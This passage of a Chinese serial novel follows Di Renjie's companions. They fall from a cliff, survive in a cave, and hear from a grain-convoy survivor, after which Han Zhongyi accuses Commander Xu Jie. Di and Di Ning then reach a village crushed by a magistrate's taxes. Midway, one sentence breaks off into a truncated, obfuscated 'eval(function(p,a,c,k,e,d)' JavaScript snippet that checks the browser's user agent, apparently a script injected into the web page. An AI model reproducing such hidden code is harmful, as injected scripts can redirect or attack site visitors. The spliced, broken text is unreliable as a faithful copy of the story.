狄仁杰于是解释道:“说明运粮队中必是有内奸,他才有可能去见机行事。回都之人,便是这内奸,也正因他谎报的缘故,朝廷才不会得知真实的案发现场,以及不合理的时间段。因此才会有我们方出洛阳,通缉令上除了彭大人被劫之误会以外,立时便又多了一条罪状,也就是我们领人杀害了运粮队、又劫走了军粮的话了。因此发生劫杀的时间也必定是在通缉令下达以前。” 韩忠义听了点头道:“是啊,这么看,从时间到事件全都对上了。难怪朝廷说军粮是被我们给劫走的,原来是有人对我们蓄意陷害。” 狄仁杰道:“我想军粮或许就在这附近,只要我们去认真找找,应该便会有着落。” 马肃道:“可是狄公,地上的痕迹已经断了。” 狄仁杰道:“痕迹断了,又怎么样?” 马肃道:“那岂不是无路可寻了?” 狄仁杰道:“这可不一定。有时候痕迹断了,本身就是一条路。” 他指向两旁受损的树丛,说道:“运粮车不是从这边,就是从那一边,亦或是从两边一齐去的。他们必定将军粮寄放在了周边的某处,还没有机会来取。就算是已经取走了,也会多少留下一点蛛丝马迹来,那也就是我们的线索了。这可是个顺藤摸瓜的好机会啊,我们怎么能错过呢,嗯?” 韩忠义笑道:“大人,我明白了!只要找到了军粮的所在,便可以趁机引蛇出洞,使那些劫走了军粮的人自己露出马脚来,然后我们就可以将他们一网打尽。” 狄仁杰点头道:“正是如此。这诸多事件凑到了一块,究竟是何人所为,如今,已经是不言而喻了。” 韩忠义道:“只怕又是寒刀帮。大人,我们是不是离真相越来越近了?” 狄仁杰看了他一眼,半晌道:“你觉得呢?” 韩忠义道:“卑职以为,如今许多的疑点都已经很明白了。嗯……我先把事件捋一捋。” 他想了一下,又继续说道:“首先是当夜彭大人被劫,寒刀帮初次现身于京都,带着彭大人一齐出了城。之后,我们在五湖镇邂逅了马兄,得知了他是搜查队队长的身份。后来又从马兄的口中得知,搜查队也是为寒刀帮所害。我们也被通缉了,而关于彭大人的这个误会是可以理解的。直到如今,我们也知晓了,原来军粮被劫,不管是否寒刀帮所为,也与他们绝对脱不了干系。搜查队一案,还有军粮一案,都是陛下委托的,如今已经明了。至于军中内奸案,也还未确定是否属实,也不过是猜测而已,等来到了边关以后,自见分晓。” 狄仁杰道:“所以你以为,案子几乎都已经破了吗?” 韩忠义道:“破了……也谈不上。可是许多事件之间,有寒刀帮作为关联线,沿着查将下去,岂不是轻而易举。” 狄仁杰道:“我实话告诉你吧,我们如今连真相的边都还没有碰着。” 韩忠义道:“怎么会呢?” 狄仁杰道:“你以为我们得知了寒刀帮,便已得到了打开真相的钥匙吗?你真的以为寒刀帮就是那个幕后之人吗?你有没有想过一种可能,我们是棋子,寒刀帮也是棋子。就连这一个个分散的事件,也是一个局,一个假象。你能看出这些事件之间有寒刀帮作为关联线,说明你除了这一个线索以外,其实是一无所知。这个神秘的江湖组织,虽然一路上如影随形,却仍似镜花水月一般,令人难以捉摸。他们作案的动机是什么?如果你说只是为了钱财,是有人雇他们这么做的,那么,雇他们之人又是谁?目的又是什么?为什么要雇寒刀帮做下这些事?是什么人拥有这么大的能力、财富和渠道去雇这么一个杀手如云的江湖帮派来替他卖命?如今这一切,都还是谜团啊。” 胡乐道:“老爷,你倒看得明白。” 韩忠义只向狄仁杰点了点头,也就不再多问了。 马肃也点点头道:“不愧是狄公。” 胡乐叹了口气,道:“下一顿儿堪忧喽。” 韩忠义跟胡乐道:“我看你看得更明白。” 胡乐道:“怎么说?” 韩忠义道:“你每一顿饭都算得一清二楚,这还不算明白吗?”都笑了起来。 狄仁杰道:“我们走吧。” 韩忠义道:“我们去哪里?” 狄仁杰道:“先往右近试一试路吧。” 几人于是一齐跨过树丛,向前行去。这时候树林中光线暗淡,道路不甚分明。几人拐了好几个弯,不知到了什么地方,突然见到前方白茫茫的一片,有点雾蒙蒙的感觉,朦朦胧胧,在一片树影的后面,模模糊糊,不知是什么东西。 胡乐觉得有趣,便当先跑了过去,一面笑着叫道:“哇!啥玩意儿啊!” 狄仁杰大吃一惊,连忙大叫:“不要过去!是悬崖!” 胡乐一听方省悟,却已经来不及了,那脚顺着乱石边便向下直滑。韩忠义飞也似的冲了过来,本想拉住他,不料脚底也是一空,顺着直滑了下去。 鹃儿叫道:“我来拉你们!”一面也跑了过来。 韩忠义往下掉的一瞬间连忙大叫:“别过来啦!哎呀!小心脚下!” 鹃儿“啊”的一声也踩了个空。 马肃飞奔前来,正要拉他们一把,却也不防,脚底一空,便跟着那三人一齐掉了下去。 狄宁还想来救,突然止住一低头,原来自己的脚已经站在了悬崖边上,不觉唬得冷汗直流。 只见下方云雾封谷,深不见底,那四个人的叫喊声,渐渐地小了下来,直到最后,一点都听不见了为止,只剩下了一片空荡荡,白茫茫。 狄仁杰目瞪口呆,呆了不知有多久,突然整个人向后一倒,不省人事。 狄宁大吃一惊,蹲下来连忙叫了好几声“老爷!”,狄仁杰方才缓缓地睁开眼来,不觉大哭道:“罢了,罢了!他们四个人的性命就这么没了!是我害了他们呀!”突然感到胸口一热,一口鲜血直喷了出来,又晕了过去。过了一会儿,才慢慢清醒了过来。 狄宁安慰他道:“老爷节哀,我们到下面为他们去收尸吧。” 狄仁杰也无法了,只是深深地叹了口气。 想到几人跟着自己,却落得如此下场,难免心中有愧。 却说那掉下悬崖的四人如何。 胡乐在半空中双手乱舞,乱哭乱叫:“倒血霉啦!我准备要死啦!我只求来世投胎不要再遇见姓狄的、姓韩的、姓马的、姓……哎呀!碰到地儿会不会痛啊?” 韩忠义虽然武功了得,但在此刻也身不由己了,于是放弃了挣扎,任凭整个人往下极速地掉落,只是望着越离越远的悬崖上大声叫道:“大人!你老人家自个儿保重!卑职以后再也不能跟着你啦!” 鹃儿在掉落的一瞬间,想到了自己的叔叔,不觉在半空中默默地流下了眼泪。 马肃想到,自己就这样就要死了?!还没有…… 这四人却偏偏命不该绝,便都正正好一齐掉落在了峭壁间长出的一棵树上,又都正正好弹到了旁边的一个山洞之中,于是均未曾死,只是各自受了些轻伤而已。 胡乐“哎哟”的叫了一声,大叫道:“我死啦!” 韩忠义左右看了看,大笑道:“你没死!” 胡乐闭着眼大叫道:“你骗我!我已经死啦!” 马肃也笑了,道:“胡兄弟,你死了怎么还能说话啊?” 胡乐大声叫道:“啊!我怕是到了鬼门关了吧!已经做鬼啦!鬼也会说话儿啊!哎呀呀!” 韩忠义于是哈哈大笑,走了过来,一巴掌朝胡乐的脸上直接就打过去,打了他个踉踉跄跄,大笑道:“鬼会不会疼啊?” 胡乐不觉大怒了起来,猛地一睁开眼,便一骨碌爬起身来,指着韩忠义大骂:“他妈的韩忠义!你还跟到阴间来啦!你阴魂不散哪你!啊!” 韩忠义道:“好了别闹了,看看鹃儿怎么样了。” 胡乐呆了呆,笑道:“嘿!我还真活着呢!”又忙问:“鹃妹妹怎么样了?” 鹃儿缓缓爬起身来道:“我还好……哎哟,身上可疼了!” 马肃叹道:“我们四人命大,从悬崖掉了下来,竟然还活着。” 只见山洞外云雾缭绕,对面也是峭壁。山洞里黑咕隆咚,暗到深不见底,也不知道里面是什么样的。但此时几人都在山洞口的地方,有外面透进来的光线照亮,还能看得见彼此。他们都往里去了些,以免一不小心又摔了下去,那可就顷刻间粉身碎骨了。云雾就在眼前悠悠地飘浮着,几人便仿佛身处天上了一般。 韩忠义不由得叹道:“我们既然还活着,那真是上天庇佑啊。但愿大人他们不要自寻短见。” 胡乐一拍头叫道:“糟了!” 韩忠义道:“怎么了?” 胡乐道:“咱没吃的了!” 韩忠义笑道:“你还想着吃呢!” 胡乐点头道:“好啊韩忠义,你现在试一试不吃饭啊!” 韩忠义叹气道:“是啊,这下我们可得饿死了。” 胡乐大笑。 韩忠义冷笑道:“你还笑呢?要饿死,也是你先饿死!” 胡乐大哭。 韩忠义大笑。 胡乐冷笑道:“先死后死都得死,你韩忠义也别想活!” 韩忠义道:“你这是在咒我死呢?我死了你就满意了是吗?” 胡乐道:“那是你活该!” 韩忠义点头叹道:“是我活该!你方才掉下去的时候我就不该来救你!真是好心做了驴肝肺!” 胡乐哼了一声,道:“又不是我叫你来救我的!” 韩忠义道:“你这人有没有点良心啊?不是你毛手毛脚地滚下了悬崖,马兄、鹃儿他们又会掉了下来?” 胡乐大叫道:“你别放你妈的屁了!鹃妹妹倒霉都是因为你!要不是你掉了下来他们会来拉你?!不来拉你他们会他妈的掉?!所以就他妈的怪你!韩忠义!” 韩忠义大怒,道:“他们来拉我,是啊。为什么来拉我?还不是因为我先来拉了你!说到底还是怪你!你这个成事不足败事有余的东西,你现在还敢来朝我嚷嚷?!你信不信我杀了你啊!” 胡乐也大怒,朝他吼叫道:“韩忠义!你个狗杂种!” 韩忠义怒吼道:“我是狗杂种,你是什么东西!” 胡乐吼道:“我是你爹!” 韩忠义大叫:“我杀了你!”就要冲过来杀胡乐。 胡乐大叫:“你杀,你是英雄好汉!” 马肃、鹃儿连忙在旁边劝阻,好不容易才把二人给拉住了。 韩忠义喘着粗气,指着胡乐道:“以后你迟早死在我手里。” 胡乐冷笑道:“到时候给你下点砒霜,看你死得多惨!” 鹃儿连忙劝道:“唉呀你们都说些什么呀!怎么互相咒对方死呢。“ 胡乐叹了口气,仰天叫道:“作孽啊!” 韩忠义只是冷笑。 马肃这时一瞥眼,忽然见到了一个大包裹,就摆在山洞里面的黑暗处,于是指着道:“喂,你们来看,这是什么?” 胡乐便走了过去,把那包裹打开来一看,不由得大喜道:“哎哟!这可不是面饼嘛!哈哈!” 突然,黑暗中冲出了一个人影来,听他用软软的声音颤抖着大声叫道:“谁?!” 韩忠义几个人都吓了一大跳,没想到山洞里面还有人。 只见一个中等身材的青年人恐惧地瞪着眼,从胡乐手中连忙一把抢过那包裹来,好几块面饼都掉在了地上。他长得非常瘦,颧骨突出,甚至有点皮包骨头,浑身上下瘦骨嶙峋,跟麻杆也似,显得非常病态。他这种样子,要么是生病了,要么是饿的,要么是被吓的,反正是三分像人、七分像鬼,别人一看到他那样,估计都还来不及去吓他,就已经反过来被他给吓死了。 胡乐大吃了一惊,“啊!”的大叫了一声,吓得连忙后退了几步,大声叫道:“哪儿来的鬼?!” 那人被胡乐这么一大叫,更是吓得魂不附体,也“啊!”的大叫了一声,向后连忙退了几步,踉踉跄跄,手里的包裹掉出了一大堆的面饼,一面用软绵绵的声音大声叫道:“你们是哪儿来的鬼?!” 胡乐笑道:“嘿,原来你会说话儿啊,看来是个人儿!” 那人颤道:“你不是才说,鬼也会说话……” 胡乐问道:“欸,那你是人是鬼啊?” 那人道:“我……是人。你们呢?” 马肃道:“什么话,当然是人了!你谁啊你?” 韩忠义道:“你怎么会在这里?” 那人道:“这……这话我还想问你们呢!你们谁啊?怎么会在这儿?” 鹃儿道:“我们才从悬崖掉下来的。” 胡乐道:“嗐得了,这话说了谁信啊……” 那人忙笑道:“我信!我也是从悬崖掉下来的!” 胡乐笑道:“哦?看来是同道中人啊!” 韩忠义问他:“你在这里几时了?” 那人道:“这可记不得了,只怕也有十来日了。” 胡乐道:“这么久!就靠这面饼充饥呀?” 那人道:“本来还有一壶水的,现在已经用完了。” 鹃儿叹道:“是啊,我们不是渴死就是饿死,在这儿迟早要死,我好害怕哦。” 胡乐道:“没事儿……“ 那人道:“啊?” 胡乐道:“你‘啊?’什么‘啊?’呀,又没叫你。” 那人道:“你叫我啦。” 胡乐道:“叫什么叫,你个瘦干瘪。我是说呀,有什么好害怕的,死就死了嘛,至少姓韩的也活不了嘛不是,有他陪葬,还怕啥呀。” 韩忠义不予理会。 马肃道:“小兄弟,你出来,咱们说说话。” 那人于是胆怯地来到了亮处,只见他身上沾满了血迹,显然是受了伤的。 韩忠义道:“你……你怎么穿着军服啊?你莫不是……” 那人叹了口气,道:“实不相瞒,我便是朝廷派往边关去的运粮队员之一。” 韩忠义几人听了都大吃一惊。 韩忠义这时想了想:“我们掉下悬崖也只是巧合,他应该不会是说谎。” 他于是笑道:“啊,你既然都这么说了……” 那人大吃一惊,指着韩忠义他们道:“你……我说了,你们莫不是要杀我灭口啊?” 韩忠义忙摇头笑道:“哦不不不。我问你啊,你知不知道,‘狄仁杰’?” 那人道:“当然知道啊!狄阁老嘛!” 韩忠义道:“那他的护卫呢?” 那人道:“听说过姓韩……难道……” 韩忠义道:“便是在下。” 那人道:“啊!你就是韩将军啊!” 韩忠义笑着点头,“嗯”了一声,又介绍了胡乐他们。 那人笑道:“久仰久仰,小的我叫梅四儿。”一面分面饼给他们。 韩忠义道:“我们才吃的。” 胡乐道:“我没吃,来给我。” 韩忠义笑道:“别听他胡说。” 梅四儿道:“横竖待这儿都得死,跟你们几位死在一块儿也不寂寞,你们随意吃吧。” 胡乐一面吃,一面道:“死也要做个饱死鬼。” 几人都笑了。 韩忠义道:“梅兄,这运粮队遇害的事儿,狄公也正调查着呢,可巧遇上了你。你可与我们讲讲?” 梅四儿点了点头,于是款款道来。 原来就在不久以前,边关守卫大将军又遣人回京,报道近来战况着实不妙。更兼军粮屡屡未至,致使粮草匮乏,军心散乱,形势雪上加霜。且不但军粮无去向,连同运粮队本身亦无下落。 此次运粮队伍有将及百人,乃暗中挑选,因此除了皇上、徐主帅等人以外,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩忠义看着几人正色道:“我知道,谁是幕后主使了。” 几人惊问:“谁啊?” 韩忠义道:“就是禁军主帅,徐杰。” 这话一出,胡乐、马肃、鹃儿、梅四儿都是一惊,齐问:“何以见得?” 韩忠义道:“这要从当夜彭尚书被歹徒劫走说起。那天夜里,虽有大雨,但依我看来,那也不过是正好作为了借口而已。作了谁的借口?那当然是巡逻队的吕队长了。他并未与歹徒正面冲突,却反倒与我们牵扯上了。这巡的是什么狗屁逻?怎么解释这两个事件之间不合理的矛盾?是有意无意不好说,可是未免也太巧了吧!那么我再请问,吕队长又是谁的人?是禁军的。更确切说,是徐主帅的。 “狄大人曾在离开京都以前,于府中留下了一封信笺。即使徐主帅未曾亲自前来,不管是谁得到了这封信,也定会亲自交与徐主帅,再由徐主帅本人上覆天子。倘若皇上已阅此信,又岂会误信小人挑拨疑忌狄公?表示说徐主帅根本就未将信笺的内容上报于陛下。如此隐瞒是非真相意欲何为?如此行者又是何许人也?岂不还是徐主帅! “那么于圣上面前挑拨离间之人又会是谁?案发于天子脚下,皇上又当先去过问谁?后来的通缉令难道与徐主帅没有丝毫关系吗?通缉令上诬陷狄公的两大罪状,除却劫走彭尚书以外,还有军粮这一说。我们一直将注意力转向寒刀帮,却忽略了他的同谋,或者说他的主使。为何通缉令上偏是此二者?因为这出于一人之手。谁?必定是徐主帅! “适才梅四儿所言,令我恍然大悟。因为运粮,除了陛下,唯有徐主帅提前知道行动。那么即便运粮队中有奸细,他也只须逢场作戏即可,因为上面已经有人早就安排好了一切。 “还有一点,就是马兄的搜查队,不正是从禁军中暗中挑选的吗?只要是从禁军中挑选的,那么不论明暗,又岂会只有皇上一人知晓?徐主帅难道会不知?完全没有可能!皇上不告诉他,他也会有所察觉。甚至于那挑选之人便是他徐主帅本人,也未可知。 “如此看来,我们之前一直是被表面的假象给迷惑了。就像狄大人说的,寒刀帮也只不过是棋子,幕后之人才是真凶。这幕后之人极有可能就是禁军中人,而其中徐主帅的嫌疑又最大。如今禁军中定是遍布着歹徒,由徐主帅这个幕后黑手暗中指挥着。 “马兄不是还曾提过一件事,就是搜查队被杀之缘由。搜查队为何会被寒刀帮杀害?因为得知了寒刀帮一个天大的秘密,一个不能为人知的秘密。而这个秘密又是什么呢?就是那个濒死汉子所说的话。这话我还记得,有提到‘寒刀帮’、‘内奸’,还有‘徐杰’、‘何璧’二人。徐杰是指禁军的徐主帅,而何璧当是吏部何侍郎。 “如果不是那人受伤,这句话完整说来,应该是:‘徐杰、何璧这两个朝廷大臣,便是寒刀帮安插的内奸。’甚至于还有他人,只可惜那人尚未言毕便已气绝。你们想想看,这岂不是一件很可怕的事实。朝廷中竟然潜伏着,就如今所知,这么两位大人物,暗中与歹人勾结。至于说话之人的来历姑且不论。 “寒刀帮因为这几句话便要对二百余人的搜查队赶尽杀绝,还对马兄紧追不放,足以证明这话的重要性与真实性。不论是兵部尚书,还是军粮、搜查队,不皆与朝廷还有战况密不可分吗?如今看来,是何意图不言而喻。 “或者还能说,禁军中有寒刀帮的人,而寒刀帮也是由禁军中人所组成的。这也就不存在是否有人陷害徐主帅之说了。因为寒刀帮倘若蓄意陷害,那么打从起始便可以禁军的身份行动,又何必自我暴露?双方一齐出动,也正所谓欲盖弥彰了。两方势力暗中若无关联,说来也是难以置信的。 “所以不论如何,徐杰、何璧二人,定与这诸多案件脱不了干系。不是主谋,便是帮凶。我大致说完了,你们以为怎样?” 胡乐都听呆了,道:“韩护卫,你行啊!我看老爷都没你想得多!” 韩忠义摇头道:“不会的。我能想到的,大人必定早已想到。而大人想到的,我就未必想到了。只不过,我将我所想到的都讲了出来,而大人,则是埋藏在心里。我不如大人多矣!” 梅四儿赞道:“不愧是韩将军,小的我也服了!今后若还能出得这个山洞,小的跟定你了!” 胡乐冷笑道:“然后关键时候再逃跑?” 梅四儿脸红了。 鹃儿道:“只是这万丈悬崖,该怎样才能出得去啊?” 胡乐道:“鬼才出得去。” 马肃道:“那也未必。以我的功力,攀登而上尚且自如,更何况韩大哥。” 韩忠义点头道:“这倒是可以的。只是胡乐、鹃儿、梅四儿,你们……” 胡乐摇手道:“你可甭提了。咱们仨是凡人。” 鹃儿道:“我现在走都走不动了……” 梅四儿道:“小的可一点儿武功都不会,会就不逃了。” 韩忠义道:“我跟马兄倒是可以背你们三个。问题是……谁来背姓胡的?背他一个,胜似背另外两个。” 胡乐怒道:“谁要你个瘦瘪背!” 韩忠义笑道:“那你就一个人待在这山洞里吃面饼吧,哈哈!” 胡乐叫道:“你欺负我!” 马肃道:“当时五湖镇中我受伤昏迷之时,多亏有胡兄弟背我,如今我来背你。” 胡乐道:“那就劳烦了。” 马肃遂背着胡乐,笑道:“确如泰山压顶。” 韩忠义一人背着梅四儿、鹃儿二人,道:“你们二人虽轻,只是我也难保……” 胡乐在马肃背上道:“姓韩的!你要敢弄伤了鹃妹妹,我不饶你!” 韩忠义道:“姓胡的!你别他妈的站着说话不腰疼!” 马肃道:“韩大哥,咱们来吧?” 韩忠义一声:“来!”二人便一齐飞身出了山洞,沿着峭壁向上攀。 听得耳旁风声呼啸,眼前白云围绕。 鹃儿、梅四儿唬得闭上了眼,不敢睁开。 胡乐笑道:“俺成仙啦!” 马肃忙道:“哎呀我的胡兄弟,你可别乱动啊!我倒不妨事,你可抓紧了。” 韩忠义也道:“喂,你们俩抓紧了。” 鹃儿、梅四儿微微点了点头,“嗯”了一声。 攀爬了一时,依然望不见顶。 韩忠义、马肃二人渐渐力怯。 背上的三人也手心出汗,浑身发软。 忽然一阵风刮来,胡乐伸手挠痒,一不小心从马肃背上滑了下来。 马肃大惊,单手扶着石壁,另一只手赶忙抓住了他。 胡乐吊在半空中,吓得大哭了起来。 韩忠义连忙停下,鹃儿、梅四儿见了,也吓得大哭。 胡乐一面哭,一面骂道:“姓梅的!你也算是个男人!你哭个屁呀哭!” 韩忠义喝骂道:“去你的吧!你还好意思说人家!怎么跟着你我们就倒霉呢!还要害得我们再掉一次悬崖你才满意是吗?!这一番只恐没那么好运……”说着,那抓住石壁的双手也向下滑,于是连忙运起了内力硬撑。 马肃使尽全力,才把胡乐又拉回了背上,劝他道:“我的小祖宗啊,你可悠着点儿了。” 胡乐忙点头,不敢再乱动了。 又攀爬了一时,方才上到了之前的山顶上。 几人这才松了口气。 在四周找寻了半日,却并不见狄仁杰、狄宁二人的踪影。 34. 第三十四章 舍己 狄仁杰、狄宁二人在傍晚时分来到了悬崖的山脚下,一齐找寻韩忠义四个人的尸骨,却寻了半日也不曾见。 峭壁的四周是一片密林,绿森森、一团团的树木一排排地相连着,被傍晚的冷风吹得簌簌作响,绿影摇曳,仿佛无数个枝叶也感觉到了秋天傍晚的寒冷,在一阵阵的冷风中,不停地颤抖,不停地摇晃,好像一种对痛苦的回应,也好像是面对命运时,无力的挣扎。 这样的场面,让人感慨,让人发呆,让人唏嘘,让人迷惘,更让人觉得,那一阵阵吹来的凉风,感到的寒冷,还有摇晃的树木,都是无穷无尽的凄凉和无奈。 那黄昏的金光,虽然耀眼,虽然闪亮,但让人感觉不到一丝温暖,反倒让人觉得更加地冷,更加地凄凉,更加地衬托出了,那即将降临的夜幕,深不见底、一望无际的黑暗。 穿过密林的一大片树木,一直走到了尽头处,便是山崖陡立的峭壁。 狄仁杰两个人现在所站立的地方,就是那垂直的峭壁之前,那块草坪空地上。这里空荡荡,没有树木,没有树丛,只有峭壁前头长着的一堆泛黄的杂草,在斜阳照射不到的阴影里,彰显着秋季的肃杀和凋零。 没有一个人,只有狄仁杰、狄宁两个人,孤独地站在当中,背对着夕阳,一片茫然,不知道要怎么样。 狄宁道:“这的确是韩将军他们的摔落之处啊,怎么会找不到呢?” 狄仁杰叹道:“罢了,只愿上天护佑他们,侥幸能活下来最好。”说着自嘲似的苦笑了一下,明知是不可能的。又道:“倘若他们真的去了……那天地为墓,也总会有地方容得下他们的。”虽如此说,到后来声音还是不由自主地颤抖了、哽咽了,还是不由得又流下了眼泪来,忍不住又悲伤地大哭了起来。狄宁也在旁边哭,哭得跟狄仁杰一样伤心,一样眉头紧皱着,一样感到悲痛至极,一样哭到整个脸部都扭曲了起来,哭到喘不过气,哭到不想活了,哭到不知道在干吗了,哭到脑子缺氧了,哭到不知道自己在哪里了。 狄宁哭了一会儿,好不容易忍住了,整个人感到缺氧,喘了几口气,又去安慰狄仁杰。狄仁杰哭死了过去,不知道自己在哪个世界了,他昏了,他不知道在干吗了,他不知道自己怎么还依然存在着,不知道为什么自己还活着。他想笑!哈哈哈哈哈!他想狂笑!哈哈哈哈哈!无声地笑!他累了,不哭了,也不笑了。他恢复了平静,整个人感到舒服多了,舒服多了。他舒服多了。 面前深绿色的树林,被笼罩在了一片金光闪闪的夕阳残照当中,耀眼生辉。暮鸦聒噪,栖在树上嘎嘎直叫,忽然又扑棱一声,从遥远的天边掠过,消失在了黄昏的霞光之中。 狄仁杰心中虽痛感悲戚,然思及世上万般生离死别,伤感之余,也当振作起来才是。 他于是说了声:“我们走吧。”便与狄宁一起继续赶路。 天色暗了下来,两个人逐渐看不清道路了。 他们对郊外的地形并不熟悉,所以只是漫无目的地乱走,他们也不知道要走到哪里去,只是见哪里有路,就往哪里行,也不管脚下的路会将他们引向什么地方,甚至是错误的方向,他们也似乎无所谓了。他们只管走,只管走,走到哪里是哪里。虽然狄仁杰的心中,仍是有一条路的,但他的脚下,却是虚无。他留在土地上的一个个脚印,会一直延伸到他内心深处最隐秘的迷茫,那个他始终毫无把握的方向,而且是建立在虚空之上的一个目的地。他现在正往那个方向走去,越靠越近了。他甚至很希望能够越快到达越好,虽然那个未知的去处让他感到非常地害怕,不敢认真地去思想,去经历,去触碰,去抵达,但他的脚步却依然朝着那个方向前进,而且永远也不会回头,永远也不会后退。 他们二人在一片黑暗中,不知走了有多久,这时候都已经感觉很疲累了。忽然,耳旁传来了一种细微的声响,在夜间的静谧之中,非常鲜明,非常动听,非常悦耳,非常地和谐。仿佛自然界就应该传来这样美妙的声音,而且在这个疲倦的时刻,竟然会让人觉得恢复了一点精神,甚至找到了一点继续活下去的动力。 原来,他们听到了溪水淙淙,流水的声音。 他们于是走近一看,只见沿着土路,有一条小溪,流水潺湲。清澈的溪水缓慢地流淌,声音轻柔地在耳旁回响。狄仁杰二人呆住了。他们看着那溪水慢慢地流,听着那溪水轻轻地响,都忍不住想多待一会儿。人生难得清闲,都是劳苦奔波。他们二人在此时此刻,停下了忙碌的脚步,享受着大自然给予的片刻安宁。他们瞬间得到了自由。自由不需要拥有太久,只要一瞬间就够了。就像现在,他们二人就已经获得了自由,在瞬间的满足中,又选择立刻放下自由,去追求人生中的不自由,为的是要获得真正的自由。 “我们继续走吧。”狄仁杰说道。 二人又走了一时,只见溪水向远处流去,一排排的垂杨柳突然现在眼前,遮住了视线,在深夜中更显漆黑。到处都是阴影,但今天晚上没有风,连一点风都没有,所以影子静静地,并不摇晃。二人又向前走了一段路,穿过了一大片的垂杨柳,忽然看见好几棵大柳树在黑暗中,掩映着后面隐约可见的土墙。 狄宁向前指道:“老爷,好像是个村子。” 狄仁杰道:“我们过去看看吧。” 二人于是穿过一株株大柳树,从土墙的大门口步入村中。只见里面有许多破旧的农舍和草屋,整个村子非常地大,根本望不到尽头。但奇怪的是,这么大个村落,居然连一个人都没有,到处都是一片漆黑,连零星灯火也无。 二人正感到不对劲,突然之间,四面八方的敲锣声震天价响了起来,那些草房农舍的屋门登时一齐大开,从里面冲出了一群庄稼汉来,都齐声嚷道:“强人又来嘞!大伙儿抄家伙呀!” 只见约有上百号人,手中拿着锄头、铁锹、铁铲、镐子、耙子等各色各样的农具,还有的手握棍棒,也有的手持杀猪刀的,还有各种各样的器械,都是用来对付人用的。他们将狄仁杰二人团团围住,四周围得水泄不通,根本就跑不掉了。 他们有男,有女,有老,有少,但大部分都是瘦骨嶙峋,就连强壮的也不多,就算有一两个胖的,也都是因为浮肿的缘故。他们的眼中都满了惊恐,满了愤怒,满了悲伤,满了绝望,也满了迷茫。 只见一个老者当先叫道:“咋地就你每俩人儿啊?” 狄仁杰向诸人作揖道:“诸位父老乡亲们,我们二人是行路之人,只因错过了宿头,来到贵处,想借宿一宵。我们二人并非什么强人,怕是误会了。” 诸人见狄仁杰彬彬有礼,又只他与狄宁两人而已,方各自松了口气。 之前那说话的老者须发花白,佝偻着身子走近前来道:“俺每只当是强人又来寻晦气呢。你每既是过路地,真是不好意思呢。” 狄仁杰笑道:“老人家客气了,不过是一场误会,何必介怀。不知你们所说的强人是……” 一个青年人走来道:“先生有所不知,山上有个莲花寨,住着一伙儿强人,时不时来咱村里闹事儿。咱适才听得声响,误以为是他们又来了。” 狄仁杰点头道:“哦,是这样。”又问那老者姓甚,他道:“俺姓洪。” 村民们介绍道:“洪老是咱柳溪村的村长。” 狄仁杰作揖,笑道:“原来是洪村长。” 洪老摆手道:“嗐,俺多蒙村里人儿抬举,你也甭客气嘞。”又指着那说话的青年人道:“这是犬子洪辉。” 只见那青年十八九岁年纪,生得高大壮实,面阔口方,鼻梁高挺,一双丹凤眼炯炯有神,唇红齿白,长得颇为俊俏。 洪老道:“贱荆去世得早,就留下这一娃。他平日里就好耍枪弄棒地,生得倒俊,嘿嘿。” 那洪辉脸上微微一红,道:“爹,你说这干吗!” 狄仁杰微笑点头。 诸人见无事,便都各自散去了。 洪老领着狄仁杰、狄宁二人进了一间小屋,房内点着烛火。 洪老问他们二人吃了没,他们也不好说没吃的,洪老就明白了,于是添了两碗稀饭、一碟咸菜给二人。二人确实饿了,便道了谢,慢慢吃了起来。狄仁杰一面请洪老他们一齐用饭。洪老道:“俺每吃过嘞。”一时吃毕,收拾了碗碟。 小木桌旁,洪辉父子与狄仁杰谈天。见狄仁杰平易近人,遂都敞开了说。说着说着,洪老忽然伏案痛哭了起来,洪辉也长吁短叹了起来。 狄仁杰诧异,问道:“为何如此?” 洪老道:“老先生,俺看你啊,是个好人儿地面相,那俺就实话儿告儿你了吧。”说着,又“嗐”的叹了口气,道:“这年头啊,可真是大乱喽。到头来苦的,可还是俺每老百姓啊……” 狄仁杰道:“老人家有什么烦恼,不妨说出来,或许我……”然想到如今尚自顾不暇,又如何能够帮得上他人。又想到昨天听说远刺史死了,今天早上秦夫人也死了,今天下午韩忠义他们几个也死了,现在自己好像也不太想活了,怎么他们都死了自己还活着呢?自己还活着干吗呢?真是有意思,他不知道为什么,突然有点想笑。但他忽然又看到洪老哽咽到说不出话来的样子,又忽然笑不出来了。 洪辉猛然一拍案,切齿道:“该死的官府!这些个挨千刀的,如何不遭报!” 狄仁杰、狄宁二人倒吃了一惊,互望一眼,问道:“这从何说起?” 洪辉正要说,洪老便忙阻止道:“儿啊,算啦!这要是让官府听见,俺每可得掉脑袋喽!还连累了一村儿老小都要遭殃,岂不是因我之过。” 狄宁道:“难道不是强人害得你们苦吗?” 洪老叹道:“强人……那还次要嘞!实话儿告儿你每,这莲花寨的强人啊,也怪可怜地!还不是给官府逼的?他每的寨主从前还是俺这村儿的呢,被狗娘养的官府给逼的做了强人。还有的是隔壁几个村儿地,也都差不多儿呢。这伙儿强人以为俺每与官府是一伙儿地,才会常来寻事儿。其实也跟俺每一样,恨的是官府嘞!只是也不敢去招惹官府罢嘞,才常来坑俺每。嗐!” 洪辉道:“离我们柳溪村不远处,有个仁德县。那知县满口仁义道德,说自己如何勤政爱民,为官清廉。哼,横竖都是往自己脸上贴金的话。” 狄仁杰道:“那他究竟怎样?” 洪辉道:“狗官。” 洪老叹了口气,道:“这知县常说:‘朝廷打仗,你们老百姓当交纳赋税。’这本来也没甚事儿,只是他逼俺每要上交这许多,实在是要逼死人哪!” 狄仁杰问道:“多少?” 洪老道:“九成!” 狄仁杰、狄宁二人听了都大吃一惊。 洪老又道:“俺每说,交上去九成,那咱老百姓要怎地活呀?知县说:‘那关本官屁事!这是朝廷的旨意!谁敢不交,就是造反,就抓谁!’” 狄仁杰怒道:“朝廷何曾下过这等旨意,简直是胡说八道!” 